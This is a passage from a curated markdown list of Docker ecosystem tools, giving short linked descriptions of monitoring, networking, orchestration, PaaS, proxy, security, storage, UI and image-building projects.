- [Dynatrace](https://www.dynatrace.com/solutions/container-monitoring/) :heavy_dollar_sign: - Monitor containerized applications without installing agents or modifying your Run commands
- [Glances](https://github.com/nicolargo/glances) - A cross-platform curses-based system monitoring tool written in Python by [@nicolargo](https://github.com/nicolargo)
- [Grafana Docker Dashboard Template](https://grafana.com/grafana/dashboards/179-docker-prometheus-monitoring/) - A template for your Docker, Grafana and Prometheus stack [@vegasbrianc][vegasbrianc]
- [HertzBeat](https://github.com/dromara/hertzbeat) - An open-source real-time monitoring system with custom-monitor and agentless.
- [InfluxDB, cAdvisor, Grafana](https://github.com/vegasbrianc/docker-monitoring) - InfluxDB Time series DB in combination with Grafana and cAdvisor by [@vegasbrianc][vegasbrianc]
- [LogJam](https://github.com/gocardless/logjam) - Logjam is a log forwarder designed to listen on a local port, receive log entries over UDP, and forward these messages on to a log collection server (such as logstash) by [@gocardless](https://github.com/gocardless)
- [Logspout](https://github.com/gliderlabs/logspout) - Log routing for Docker container logs by [@gliderlabs][gliderlabs]
- [monit-docker](https://github.com/decryptus/monit-docker) - Monitor docker containers resources usage or status and execute docker commands or inside containers. [@decryptus][decryptus]
- [NexClipper](https://github.com/NexClipper/NexClipper) - NexClipper is the container monitoring and performance management solution specialized in Docker, Apache Mesos, Marathon, DC/OS, Mesosphere, Kubernetes by [@Nexclipper](https://github.com/NexClipper)
- [Out-of-the-box Host/Container Monitoring/Logging/Alerting Stack](https://github.com/uschtwill/docker_monitoring_logging_alerting) - Docker host and container monitoring, logging and alerting out of the box using cAdvisor, Prometheus, Grafana for monitoring, Elasticsearch, Kibana and Logstash for logging and elastalert and Alertmanager for alerting. Set up in 5 Minutes. Secure mode for production use with built-in [Automated Nginx Reverse Proxy (jwilder's)][nginxproxy].
- [Sidekick](https://github.com/runsidekick/sidekick) 💲 - Open source live application debugger like Chrome DevTools for your backend. Collect traces and generate logs on-demand without stopping & redeploying your applications.
- [SuperVisor CPM](https://t0xic0der.medium.com/simply-accessible-container-performance-monitoring-with-supervisor-7fb47f925f3b) [Frontend Service](https://github.com/t0xic0der/supervisor-frontend-service/) and [Driver Service](https://github.com/t0xic0der/supervisor-driver-service/) :construction: - A simple and accessible FOSS container performance monitoring service written in Python by [@t0xic0der](https://github.com/t0xic0der/)
- [SwarmAlert](https://github.com/gpulido/SwarmAlert) - Monitors a Docker Swarm and sends Pushover alerts when it finds a container with no healthy service task running.
- [Zabbix Docker module](https://github.com/monitoringartist/Zabbix-Docker-Monitoring) - Zabbix module that provides discovery of running containers, CPU/memory/blk IO/net container metrics. Systemd Docker and LXC execution driver is also supported. It's a dynamically linked shared object library, so its performance is (~10x) better, than any script solution.
- [Zabbix Docker](https://github.com/gomex/docker-zabbix) - Monitor containers automatically using zabbix LLD feature.
### Networking
- [Calico][calico] - Calico is a pure layer 3 virtual network that allows containers over multiple docker-hosts to talk to each other.
- [Flannel](https://github.com/coreos/flannel/) - Flannel is a virtual network that gives a subnet to each host for use with container runtimes. By [@coreos][coreos]
- [Freeflow](https://github.com/Microsoft/Freeflow) - High performance container overlay networks on Linux. Enabling RDMA (on both InfiniBand and RoCE) and accelerating TCP to bare metal performance. By [@Microsoft](https://github.com/Microsoft)
- [netshoot](https://github.com/nicolaka/netshoot) - The netshoot container has a powerful set of networking tools to help troubleshoot Docker networking issues by [@nicolaka](https://github.com/nicolaka)
- [Pipework](https://github.com/jpetazzo/pipework) - Software-Defined Networking for Linux Containers, Pipework works with "plain" LXC containers, and with the awesome Docker. By [@jpetazzo][jpetazzo]
- [Weave][weave] (The Docker network) - Weave creates a virtual network that connects Docker containers deployed across multiple hosts.
### Orchestration
- [Ansible Linux Docker](https://github.com/Peco602/ansible-linux-docker) - Run Ansible from a Linux container. By [@Peco602][peco602]
- [athena](https://github.com/athena-oss/athena) - An automation platform with a plugin architecture that allows you to easily create and share services.
- [blimp](https://github.com/tubesandlube/blimp) :skull: - Uses Docker Machine to easily move a container from one Docker host to another, show containers running against all of your hosts, replicate a container across multiple hosts and more by [@defermat](https://github.com/defermat) and [@schvin](https://github.com/schvin)
- [CloudSlang](https://github.com/CloudSlang/cloud-slang) - CloudSlang is a workflow engine to create Docker process automation
- [clusterdock](https://github.com/clusterdock/clusterdock) - Docker container orchestration to enable the testing of long-running cluster deployments
- [Crane](https://github.com/Dataman-Cloud/crane) - Control plane based on docker built-in swarm [@Dataman-Cloud](https://github.com/Dataman-Cloud)
- [Docker Flow Swarm Listener](https://github.com/docker-flow/docker-flow-swarm-listener) - Docker Flow Swarm Listener project is to listen to Docker Swarm events and send requests when a change occurs. By [@docker-flow][docker-flow]
- [docker rollout](https://github.com/Wowu/docker-rollout) - Zero downtime deployment for Docker Compose services by [@Wowu](https://github.com/Wowu)
- [gantryd](https://github.com/DevTable/gantryd) :skull: - A framework for easy management of docker-based components across machines by [@DevTable](https://github.com/DevTable)
- [Haven](https://github.com/codeabovelab/haven-platform) - Haven is a simplified container management platform that integrates container, application, cluster, image, and registry managements. By [@codeabovelab](https://github.com/codeabovelab)
- [Helios](https://github.com/spotify/helios) :skull: - A simple platform for deploying and managing containers across an entire fleet of servers by [@spotify][spotify]
- [Kontena](https://github.com/kontena/kontena) :skull: - The developer friendly container and micro services platform. Works on any cloud, easy to setup, simple to use.
- [Kubernetes](https://github.com/kubernetes/kubernetes) - Open source orchestration system for Docker containers by Google
- [ManageIQ](https://github.com/ManageIQ/manageiq) - Discover, optimize and control your hybrid IT. By [ManageIQ](https://github.com/ManageIQ)
- [Mantl](https://github.com/mantl/mantl) - Mantl is a modern platform for rapidly deploying globally distributed services
- [Marathon](https://github.com/mesosphere/marathon) - Marathon is a private PaaS built on Mesos. It automatically handles hardware or software failures and ensures that an app is "always on"
- [Mesos](https://github.com/apache/mesos) - Resource/Job scheduler for containers, VM's and physical hosts [@apache](https://mesos.apache.org/)
- [Nebula](https://github.com/nebula-orchestrator) - A Docker orchestration tool designed to manage massive scale distributed clusters.
- [Nomad](https://github.com/hashicorp/nomad) - Easily deploy applications at any scale. A Distributed, Highly Available, Datacenter-Aware Scheduler by [@hashicorp](https://github.com/hashicorp)
- [Panamax](https://github.com/CenturyLinkLabs/panamax-ui) :skull: - An open-source project that makes deploying complex containerized apps as easy as Drag-and-Drop by [@CenturyLinkLabs][centurylinklabs].
- [Rancher](https://github.com/rancher/rancher) - An open source project that provides a complete platform for operating Docker in production by [@rancher][rancher].
- [RedHerd Framework](https://github.com/redherd-project/redherd-framework) - RedHerd is a collaborative and serverless framework for orchestrating a geographically distributed group of assets capable of simulating complex offensive cyberspace operations. By [@RedHerdProject](https://github.com/redherd-project).
- [Swarm-cronjob](https://github.com/crazy-max/swarm-cronjob) - Create jobs on a time-based schedule on Swarm by [@crazy-max]
### PaaS
- [Atlantis](https://github.com/ooyala/atlantis) :skull: - Atlantis is an Open Source PaaS for HTTP applications built on Docker and written in Go
- [caprover](https://github.com/caprover/caprover) - [previously known as CaptainDuckDuck] Automated Scalable Webserver Package (automated Docker+nginx) - Heroku on Steroids
- [Convox Rack](https://github.com/convox/rack) - Convox Rack is open source PaaS built on top of expert infrastructure automation and devops best practices.
- [Dcw](https://github.com/pbertera/dcw) - Docker-compose SSH wrapper: a very poor man PaaS, exposing the docker-compose and custom-container commands defined in container labels.
- [Dokku](https://github.com/dokku/dokku) - Docker powered mini-Heroku that helps you build and manage the lifecycle of applications (originally by [@progrium][progrium])
- [Empire](https://github.com/remind101/empire) - A PaaS built on top of Amazon EC2 Container Service (ECS)
- [Exoframe](https://github.com/exoframejs/exoframe) - A self-hosted tool that allows simple one-command deployments using Docker
- [Flynn](https://github.com/flynn/flynn) :skull: - A next generation open source platform as a service
- [Hephy Workflow](https://github.com/teamhephy/workflow) - Open source PaaS for Kubernetes that adds a developer-friendly layer to any Kubernetes cluster, making it easy to deploy and manage applications. Fork of [Deis Workflow](https://github.com/deis/workflow)
- [Krane](https://github.com/krane/krane) - Toolset for managing container workloads on remote servers
- [Nanobox](https://github.com/nanobox-io/nanobox) :heavy_dollar_sign: - An application development platform that creates local environments that can then be deployed and scaled in the cloud.
- [OpenShift][openshift] - An open source PaaS built on [Kubernetes][kubernetes] and optimized for Dockerized app development and deployment by [Red Hat](https://www.redhat.com/en)
- [Tsuru](https://github.com/tsuru/tsuru) - Tsuru is an extensible and open source Platform as a Service software
### Reverse Proxy
- [bunkerized-nginx](https://github.com/bunkerity/bunkerized-nginx) - Web app hosting and reverse proxy secure by default. By [@bunkerity](https://github.com/bunkerity)
- [Docker Dnsmasq Updater](https://github.com/moonbuggy/docker-dnsmasq-updater) - Update a remote dnsmasq server with Docker container hostnames.
- [docker-flow-proxy](https://github.com/docker-flow/docker-flow-proxy) - Reconfigures proxy every time a new service is deployed, or when a service is scaled. By [@docker-flow][docker-flow]
- [docker-proxy](https://github.com/silarsis/docker-proxy) :skull: - Transparent proxy for docker containers, run in a docker container. By [@silarsis](https://github.com/silarsis)
- [fabio](https://github.com/fabiolb/fabio) - A fast, modern, zero-conf load balancing HTTP(S) router for deploying microservices managed by consul. By [@magiconair](https://github.com/magiconair) (Frank Schroeder)
- [h2o-proxy](https://github.com/zchee/h2o-proxy) :skull: - Automated H2O reverse proxy for Docker containers. An alternative to [jwilder/nginx-proxy][nginxproxy] by [@zchee](https://github.com/zchee)
- [Let's Encrypt Nginx-proxy Companion](https://github.com/nginx-proxy/docker-letsencrypt-nginx-proxy-companion) - A lightweight companion container for the nginx-proxy. It allow the creation/renewal of Let's Encrypt certificates automatically. By [@JrCs](https://github.com/JrCs)
- [muguet](https://github.com/mattallty/muguet) :skull: - DNS Server & Reverse proxy for Docker environments. By [@mattallty](https://github.com/mattallty)
- [Nginx Proxy Manager](https://github.com/jc21/nginx-proxy-manager) - A beautiful web interface for proxying web based services with SSL. By [@jc21](https://github.com/jc21)
- [nginx-proxy][nginxproxy] - Automated nginx proxy for Docker containers using docker-gen by [@jwilder][jwilder]
- [Swarm Ingress Router](https://github.com/tpbowden/swarm-ingress-router) :skull: - Route DNS names to Swarm services based on labels. By [@tpbowden](https://github.com/tpbowden/)
- [Swarm Router](https://github.com/flavioaiello/swarm-router) - A «zero config» service name based router for docker swarm mode with a fresh and more secure approach. By [@flavioaiello](https://github.com/flavioaiello)
- [Træfɪk](https://github.com/containous/traefik) - Automated reverse proxy and load-balancer for Docker, Mesos, Consul, Etcd... By [@EmileVauge](https://github.com/emilevauge)
### Runtime
- [aind](https://github.com/aind-containers/aind) - AinD launches Android apps in Docker, by nesting Anbox containers inside Docker by [@aind-containers](https://github.com/aind-containers)
- [cri-o](https://github.com/cri-o/cri-o) - Open Container Initiative-based implementation of Kubernetes Container Runtime Interface by [cri-o](https://github.com/cri-o)
- [lxc](https://github.com/lxc/lxc) - LXC - Linux Containers
- [podman](https://github.com/containers/libpod) - libpod is a library used to create container pods. Home of Podman by [@containers][containers]
- [rlxc](https://github.com/brauner/rlxc) - LXC binary written in Rust by [@brauner](https://github.com/brauner)
- [runtime-tools](https://github.com/opencontainers/runtime-tools) - oci-runtime-tool is a collection of tools for working with the OCI runtime specification by [@opencontainers](https://github.com/opencontainers)
### Security
- [Anchor Engine](https://github.com/anchore/anchore) - Analyze images for CVE vulnerabilities and against custom security policies by [@Anchor](https://github.com/anchore)
- [Aqua Security](https://www.aquasec.com) :heavy_dollar_sign: - Securing container-based applications from Dev to Production on any platform
- [bane](https://github.com/genuinetools/bane) - AppArmor profile generator for Docker containers by [@genuinetools][genuinetools]
- [CetusGuard](https://github.com/hectorm/cetusguard) - CetusGuard is a tool that protects the Docker daemon socket by filtering calls to its API endpoints
- [CIS Docker Benchmark](https://github.com/dev-sec/cis-docker-benchmark) - This [InSpec][inspec] compliance profile implement the CIS Docker 1.12.0 Benchmark in an automated way to provide security best-practice tests around Docker daemon and containers in a production environment. By [@dev-sec](https://github.com/dev-sec)
- [Checkov](https://github.com/bridgecrewio/checkov) - Static analysis for infrastructure as code manifests (Terraform, Kubernetes, Cloudformation, Helm, Dockerfile, Kustomize) find security misconfiguration and fix them. By [@bridgecrew](https://github.com/bridgecrewio)
- [Clair](https://github.com/quay/clair) - Clair is an open source project for the static analysis of vulnerabilities in appc and docker containers. By [@coreos][coreos]
- [Dagda](https://github.com/eliasgranderubio/dagda) - Dagda is a tool to perform static analysis of known vulnerabilities, trojans, viruses, malware & other malicious threats in docker images/containers and to monitor the docker daemon and running docker containers for detecting anomalous activities. By [@eliasgranderubio](https://github.com/eliasgranderubio)
- [Deepfence Enterprise](https://deepfence.io) :heavy_dollar_sign: - Full life cycle Cloud Native Workload Protection platform for kubernetes, virtual machines and serverless. By [@deepfence][deepfence]
- [Deepfence Threat Mapper](https://github.com/deepfence/ThreatMapper) - Powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless. By [@deepfence][deepfence]
- [docker-bench-security](https://github.com/docker/docker-bench-security) - script that checks for dozens of common best-practices around deploying Docker containers in production. By [@docker][docker]
- [docker-explorer](https://github.com/google/docker-explorer) - A tool to help forensicate offline docker acquisitions by [@Google][google]
- [docker-lock](https://github.com/safe-waters/docker-lock) - A cli-plugin for docker to automatically manage image digests by tracking them in a separate Lockfile. By [@safe-waters][safe-waters]
- [dvwassl](https://github.com/Peco602/dvwassl) - SSL-enabled Damn Vulnerable Web App to test Web Application Firewalls. By [@Peco602][peco602]
- [KICS](https://github.com/checkmarx/kics) - an infrastructure-as-code scanning tool, find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle. Can be extended for additional policies. By [Checkmarx](https://github.com/Checkmarx)
- [notary](https://github.com/theupdateframework/notary) - a server and a client for running and interacting with trusted collections. By [@TUF](https://github.com/theupdateframework)
- [oscap-docker](https://github.com/OpenSCAP/openscap) - OpenSCAP provides oscap-docker tool which is used to scan Docker containers and images. By [OpenSCAP](https://github.com/OpenSCAP)
- [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) :heavy_dollar_sign: - (previously Twistlock Security Suite) detects vulnerabilities, hardens container images, and enforces security policies across the lifecycle of applications.
- [Sysdig Falco](https://github.com/falcosecurity/falco) - Sysdig Falco is an open source container security monitor. It can monitor application, container, host, and network activity and alert on unauthorized activity.
- [Sysdig Secure](https://sysdig.com/solutions/cloud-threat-detection-and-response/) :heavy_dollar_sign: - Sysdig Secure addresses run-time security through behavioral monitoring and defense, and provides deep forensics based on open source Sysdig for incident response.
- [Trend Micro DeepSecurity](https://www.trendmicro.com/en_us/business/products/hybrid-cloud/deep-security.html) :heavy_dollar_sign: - Trend Micro DeepSecurity offers runtime protection for container workloads and hosts as well as preruntime scanning of images to identify vulnerabilities, malware and content such as hardcoded secrets.
- [Trivy](https://github.com/aquasecurity/trivy) - Aqua Security's open source simple and comprehensive vulnerability scanner for containers (suitable for CI).
### Service Discovery
- [docker-consul](https://github.com/gliderlabs/docker-consul) by [@progrium][progrium]
- [etcd](https://github.com/etcd-io/etcd) - Distributed reliable key-value store for the most critical data of a distributed system by [@etcd-io](https://github.com/etcd-io) (former part of CoreOS)
- [istio](https://github.com/istio/istio) - An open platform to connect, manage, and secure microservices by [@istio](https://github.com/istio)
- [proxy](https://github.com/factorish/proxy) :skull: - lightweight nginx based load balancer self using service discovery provided by registrator. by [@factorish](https://github.com/factorish)
- [registrator](https://github.com/gliderlabs/registrator) - Service registry bridge for Docker by [@gliderlabs][gliderlabs] and [@progrium][progrium]
### Volume Management / Data
- [Blockbridge](https://github.com/blockbridge/blockbridge-docker-volume) :heavy_dollar_sign:- The Blockbridge plugin is a volume plugin that provides access to an extensible set of container-based persistent storage options. It supports single and multi-host Docker environments with features that include tenant isolation, automated provisioning, encryption, secure deletion, snapshots and QoS. By [@blockbridge](https://github.com/blockbridge)
- [Convoy](https://github.com/rancher/convoy) :skull: - an open-source Docker volume driver that can snapshot, backup and restore Docker volumes anywhere. By [@rancher][rancher]
- [Docker Machine NFS](https://github.com/adlogix/docker-machine-nfs) Activates NFS for an existing boot2docker box created through Docker Machine on OS X.
- [Docker Unison](https://github.com/leighmcculloch/docker-unison) A docker volume container using Unison for fast two-way folder sync. Created as an alternative to slow boot2docker volumes on OS X. By [@leighmcculloch](https://github.com/leighmcculloch)
- [Docker Volume Backup](https://github.com/offen/docker-volume-backup) Backup Docker volumes locally or to any S3 compatible storage. By [@offen](https://github.com/offen)
- [Local Persist](https://github.com/MatchbookLab/local-persist) Specify a mountpoint for your local volumes (created via `docker volume create`) so that files will always persist and so you can mount to different directories in different containers.
- [Minio](https://github.com/minio/minio) - S3 compatible object storage server in Docker containers
- [Netshare](https://github.com/ContainX/docker-volume-netshare) Docker NFS, AWS EFS, Ceph & Samba/CIFS Volume Plugin. By [@ContainX][containx]
- [portworx](https://portworx.com) :heavy_dollar_sign: - Decentralized storage solution for persistent, shared and replicated volumes.
- [quobyte](https://www.quobyte.com/) :heavy_dollar_sign: - fully fault-tolerant distributed file system with a docker volume driver
- [REX-Ray](https://github.com/rexray/rexray) provides a vendor agnostic storage orchestration engine. The primary design goal is to provide persistent storage for Docker, Kubernetes, and Mesos. By[@thecodeteam](https://github.com/thecodeteam) (DELL Technologies)
- [Storidge](https://github.com/Storidge/quick-start) :heavy_dollar_sign: - Software-defined Persistent Storage for Kubernetes and Docker Swarm
### User Interface
#### IDE integrations
- JetBrains IDEs (IntelliJ IDEA, GoLand, WebStorm, CLion etc.) has [built-in Docker plugin](https://www.jetbrains.com/help/idea/docker.html#managing-images)
- Eclipse [Docker Tooling plugin](https://www.eclipse.org/community/eclipse_newsletter/2016/july/article2.php)
- [docker.vim](https://github.com/skanehira/docker.vim) - Manage docker containers and images in Vim. By [@skanehira]
- [docker.el](https://github.com/Silex/docker.el) Manage docker from Emacs by [@Silex](https://github.com/Silex)
#### Desktop
Native desktop applications for managing and montoring docker hosts and clusters
- [Docker Desktop](https://www.docker.com/products/docker-desktop/) - Official native app. Only for Windows and MacOS
- [Dockeron](https://github.com/dockeron/dockeron) - A project built on Electron + Vue.js for Docker on desktop. [@fluency03](https://github.com/fluency03)
- [DockStation](https://github.com/DockStation/dockstation) - A developer centric UI to configure, monitor, and manage services and containers [@dock_station](https://twitter.com/dock_station)
- [Lifeboat](https://github.com/jplhomer/lifeboat) - An easy way to launch Docker projects with a graphical interface on your Mac. [@jplhomer](https://github.com/jplhomer)
- [Simple Docker UI](https://github.com/felixgborrego/simple-docker-ui) - built on Electron. By [@felixgborrego](https://github.com/felixgborrego/)
- [Stevedore](https://github.com/slonopotamus/stevedore) - Good Docker Desktop replacement for Windows. Both Linux and Windows Containers are supported. [@slonopotamus](https://github.com/slonopotamus)
#### Terminal
##### Terminal UI
- [ctop (1)](https://github.com/yadutaf/ctop) - :skull: A command line / text based Linux Containers monitoring tool that works just like you expect (Python) by [@yadutaf](https://github.com/yadutaf)
- [ctop (2)](https://github.com/bcicen/ctop) - Top-like interface for container metrics (Golang) by [@bcicen](https://github.com/bcicen/)
- [dive](https://github.com/wagoodman/dive) - A tool for exploring each layer in a docker image. By [wagoodman](https://github.com/wagoodman).
- [dockdash](https://github.com/byrnedo/dockdash) detailed stats. By [@byrnedo]
- [Docker-mon](https://github.com/icecrime/docker-mon) :skull: - Console-based Docker monitoring by [@icecrime](https://github.com/icecrime)
- [dockly](https://github.com/lirantal/dockly) - An interactive shell UI for managing Docker containers by [@lirantal](https://github.com/lirantal)
- [DockSTARTer](https://github.com/GhostWriters/DockSTARTer) - DockSTARTer helps you get started with home server apps running in Docker by [GhostWriters](https://github.com/GhostWriters)
- [docui](https://github.com/skanehira/docui) - :skull: An interactive shell UI for managing Docker containers. Also works in Windows. By [@skanehira]
- [dry](https://github.com/moncho/dry) - An interactive CLI for Docker containers by [@moncho](https://github.com/moncho)
- [lazydocker](https://github.com/jesseduffield/lazydocker) - The lazier way to manage everything docker. A simple terminal UI for both docker and docker-compose, written in Go with the gocui library. By [@jesseduffield](https://github.com/jesseduffield)
- [sen](https://github.com/TomasTomecek/sen) - :skull: Terminal user interface for docker engine, by [@TomasTomecek][tomastomecek]
##### CLI tools
- [captain](https://github.com/jenssegers/captain) - Easily start and stop docker compose projects from any directory. By [@jenssegers](https://github.com/jenssegers)
- [dcinja](https://github.com/Falldog/dcinja) - The powerful and smallest binary size of template engine for docker command line environment. By [@Falldog](https://github.com/Falldog)
- [dcp](https://github.com/exdx/dcp) - A simple tool for copying files from container filesystems. By [@exdx](https://github.com/exdx)
- [dctl](https://github.com/FabienD/docker-stack) - dctl is a Cli tool that helps developers by allowing them to execute all docker compose commands anywhere in the terminal, and more. By [FabienD](https://github.com/FabienD)
- [docker-ls](https://github.com/mayflower/docker-ls) - CLI tools for browsing and manipulating docker registries by [@mayflower](https://github.com/mayflower)
- [docker pushrm](https://github.com/christian-korneck/docker-pushrm) - A Docker CLI plugin that lets you push the README.md file from the current directory to Docker Hub. Also supports Quay and Harbor. By [@christian-korneck](https://github.com/christian-korneck)
- [dockersql](https://github.com/crosbymichael/dockersql) - :skull: A command line interface to query Docker using SQL by [@crosbymichael](https://github.com/crosbymichael)
- [DVM](https://github.com/howtowhale/dvm) - Docker version manager by [@howtowhale](https://github.com/howtowhale)
- [goinside](https://github.com/iamsoorena/goinside) - Get inside a running docker container easily. by [@iamsoorena](https://github.com/iamsoorena)
- [ns-enter](https://github.com/jpetazzo/nsenter) - :skull: no more ssh, enter name spaces of container by [@jpetazzo][jpetazzo]
- [Pdocker](https://github.com/g31s/Pdocker) - A simple tool to manage and maintain Docker for personal projects by [@g31s](https://github.com/g31s)
- [proco](https://github.com/shiwaforce/poco) - Proco will help you to organise and manage Docker, Docker-Compose, Kubernetes projects of any complexity using simple YAML config files to shorten the route from finding your project to initialising it in your local environment. by [@shiwaforce](https://github.com/shiwaforce)
- [reg](https://github.com/genuinetools/reg) - :skull: Docker registry v2 command line client by [@genuinetools][genuinetools]
- [scuba](https://github.com/JonathonReinhart/scuba) - Transparently use Docker containers to encapsulate software build environments, by [@JonathonReinhart](https://github.com/JonathonReinhart)
- [skopeo](https://github.com/containers/skopeo) - Work with remote images registries - retrieving information, images, signing content by [@containers][containers]
- [supdock](https://github.com/segersniels/supdock) - Allows for slightly more visual usage of Docker with an interactive prompt. By [@segersniels](https://github.com/segersniels)
- [tsaotun](https://github.com/qazbnm456/tsaotun) - Python based Assistance for Docker by [@qazbnm456](https://github.com/qazbnm456)
- [wharfee](https://github.com/j-bennet/wharfee) - :skull: Autocompletion and syntax highlighting for Docker commands. by [@j-bennet](https://github.com/j-bennet)
##### Other
- [dext-docker-registry-plugin](https://github.com/vutran/dext-docker-registry-plugin) - Search the Docker Registry with the Dext smart launcher. By [@vutran](https://github.com/vutran)
- [docker-ssh](https://github.com/jeroenpeeters/docker-ssh) - SSH Server for Docker containers ~ Because every container should be accessible. By [@jeroenpeeters](https://github.com/jeroenpeeters)
- [dockercraft](https://github.com/docker/dockercraft) - Docker + Minecraft = Dockercraft by [@docker][docker]
- [dockerfile-mode](https://github.com/spotify/dockerfile-mode) An emacs mode for handling Dockerfiles by [@spotify][spotify]
- [MultiDocker](https://github.com/marty90/multidocker) - Create a secure multi-user Docker machine, where each user is segregated into an indepentent container.
- [Powerline-Docker](https://github.com/adrianmo/powerline-docker) - A Powerline segment for showing the status of Docker containers by [@adrianmo](https://github.com/adrianmo)
#### Web
- [Admiral](https://github.com/vmware/admiral) Admiral™ is a highly scalable and very lightweight Container Management platform for deploying and managing container based applications. By [VMWare][vmware]
- [CASA](https://github.com/knrdl/casa) - Outsource the administration of a handful of containers to your co-workers, by [@knrdl](https://github.com/knrdl)
- [Container Web TTY](https://github.com/wrfly/container-web-tty) - Connect your containers via a web-tty [@wrfly](https://github.com/wrfly)
- [Docker Compose UI](https://github.com/francescou/docker-compose-ui) - Manage docker-compose via HTTP. docker-compose-ui runs in a Docker container, mounts the hosts docker socket and exposes a RESTful API and AngularJS GUI
- [Docker Registry Browser](https://github.com/klausmeyer/docker-registry-browser) - Web Interface for the Docker Registry HTTP API v2 by [@klausmeyer](https://github.com/klausmeyer)
- [Docker Registry UI (Joxit)](https://github.com/Joxit/docker-registry-ui) - The simplest and cleanest UI for private registries by [@Joxit](https://github.com/Joxit)
- [Docker Registry UI](https://github.com/atcol/docker-registry-ui) - A web UI for easy private/local Docker Registry integration by [@atcol](https://github.com/atcol)
- [docker-registry-web](https://github.com/mkuchin/docker-registry-web) - Web UI, authentication service and event recorder for private docker registry v2 by [@mkuchin](https://github.com/mkuchin)
- [docker-swarm-visualizer](https://github.com/dockersamples/docker-swarm-visualizer) - Visualizes Docker services on a Docker Swarm (for running demos).
- [dockering-on-rails](https://github.com/Electrofenster/dockerding-on-rails) :skull: - Simple Web-Interface for Docker with a lot of features by [@Electrofenster](https://github.com/Electrofenster/)
- [DockerSurfer](https://github.com/Simone-Erba/DockerSurfer) :skull: - A web service for analyze and browse dependencies between Docker images in the Docker registry, by [@Simone-Erba](https://github.com/Simone-Erba/)
- [Kubevious](https://github.com/kubevious/kubevious) - A highly visual web UI for Kubernetes which renders configuration and state in an application centric way by [@rubenhak](https://github.com/rubenhak).
- [netdata](https://github.com/netdata/netdata) - Real-time performance monitoring
- [OctoLinker](https://github.com/OctoLinker/OctoLinker) - A browser extension for GitHub that makes the image name in a `Dockerfile` clickable and redirect you to the related Docker Hub page.
- [Portainer](https://github.com/portainer/portainer) - A lightweight management UI for managing your Docker hosts or Docker Swarm clusters by [@portainer](https://github.com/portainer)
- [Rapid Dashboard](https://github.com/ozlerhakan/rapid) - A simple query dashboard to use Docker Remote API by [@ozlerhakan](https://github.com/ozlerhakan/)
- [Seagull](https://github.com/tobegit3hub/seagull) - Friendly Web UI to monitor docker daemon. by [@tobegit3hub](https://github.com/tobegit3hub)
- [Swarmpit](https://github.com/swarmpit/swarmpit) - Swarmpit provides simple and easy to use interface for your Docker Swarm cluster. You can manage your stacks, services, secrets, volumes, networks etc.
- [Swirl](https://github.com/cuigh/swirl) - Swirl is a web management tool for Docker, focused on swarm cluster By [@cuigh](https://github.com/cuigh/)
- [Theia](https://github.com/eclipse-theia/theia) - Extensible platform to develop full-fledged multi-language Cloud & Desktop IDE-like products with state-of-the-art web technologies.
- [Yacht](https://github.com/SelfhostedPro/Yacht) :construction: - A Web UI for docker that focuses on templates and ease of use in order to make deployments as easy as possible. By [@SelfhostedPro](https://github.com/SelfhostedPro)
## Docker Images
### Base Tools
Tools and applications that are either installed inside containers or designed to be run as a [sidecar](https://learn.microsoft.com/en-us/azure/architecture/patterns/sidecar)
- [amicontained](https://github.com/genuinetools/amicontained) - Container introspection tool. Find out what container runtime is being used as well as features available by [@genuinetools][genuinetools]
- [Chaperone](https://github.com/garywiz/chaperone) - A single PID1 process designed for docker containers. Does user management, log management, startup, zombie reaping, all in one small package. by [@garywiz](https://github.com/garywiz)
- [ckron](https://github.com/nicomt/ckron) - A cron-style job scheduler for docker, by [@nicomt](https://github.com/nicomt)
- [CoreOS][coreos] - Linux for Massive Server Deployments
- [distroless](https://github.com/GoogleContainerTools/distroless) - Language focused docker images, minus the operating system, by [@GoogleContainerTools][googlecontainertools]
- [docker-alpine](https://github.com/gliderlabs/docker-alpine) - A super small Docker base image _(5MB)_ using Alpine Linux by [@gliderlabs][gliderlabs]
- [docker-gen](https://github.com/jwilder/docker-gen) - Generate files from docker container meta-data by [@jwilder][jwilder]
- [dockerize](https://github.com/powerman/dockerize) - Utility to simplify running applications in docker containers by [@jwilder][jwilder], [@powerman][powerman]
- [GoSu](https://github.com/tianon/gosu) - Run this specific application as this specific user and get out of the pipeline (entrypoint script tool) by [@tianon](https://github.com/tianon)
- [is-docker](https://github.com/sindresorhus/is-docker) - Check if the process is running inside a Docker container by [@sindresorhus][sindresorhus]
- [lstags](https://github.com/ivanilves/lstags) - sync Docker images across registries by [@ivanilves](https://github.com/ivanilves)
- [NVIDIA-Docker](https://github.com/NVIDIA/nvidia-docker) - The NVIDIA Container Runtime for Docker by [@NVIDIA][nvidia]
- [Ofelia](https://github.com/mcuadros/ofelia/) - Ofelia is a modern and low footprint job scheduler for docker environments, built on Go. Ofelia aims to be a replacement for the old fashioned cron. Supports configuration from container labels and/or configuration files.
- [su-exec](https://github.com/ncopa/su-exec) - This is a simple tool that will simply execute a program with different privileges. The program will be executed directly and not run as a child, like su and sudo does, which avoids TTY and signal issues. Why reinvent gosu? This does more or less exactly the same thing as gosu but it is only 10kb instead of 1.8MB. By [ncopa](https://github.com/ncopa)
- [sue](https://github.com/theAkito/sue) - Executes a program as a user different from the user running sue. This is a maintainable alternative to ncopa/su-exec, which is the better tianon/gosu. This one is far better (higher performance, smaller size), than the original gosu, however it is far easier to maintain, than su-exec, which is written in plain C. Made by [Akito][akito]
- [supercronic](https://github.com/aptible/supercronic) - crontab-compatible job runner, designed specifically to run in containers by [@aptible](https://github.com/aptible/)
- [TrivialRC](https://github.com/vorakl/TrivialRC) - A minimalistic Runtime Configuration system and process manager for containers [@vorakl](https://github.com/vorakl)
### Builder
Applications designed to help or simplify building **new** images
- [ansible-bender](https://github.com/ansible-community/ansible-bender) - A tool utilising `ansible` and `buildah` by [@TomasTomecek][tomastomecek]
- [buildah](https://github.com/containers/buildah) - A tool that facilitates building OCI images by [@containers][containers]
- [BuildKit](https://github.com/moby/buildkit) - Concurrent, cache-efficient, and Dockerfile-agnostic builder toolkit by [@moby project](https://github.com/moby)
- [cekit](https://github.com/cekit/cekit) - A tool used by openshift to build base images using different build engines by [@cekit](https://github.com/cekit).
- [container-diff](https://github.com/GoogleContainerTools/container-diff) - An image tool for comparing and analyzing container images by [@GoogleContainerTools][googlecontainertools]
- [container-factory](https://github.com/mutable/container-factory) - Produces Docker images from tarballs of application source code by [@mutable](https://github.com/mutable)
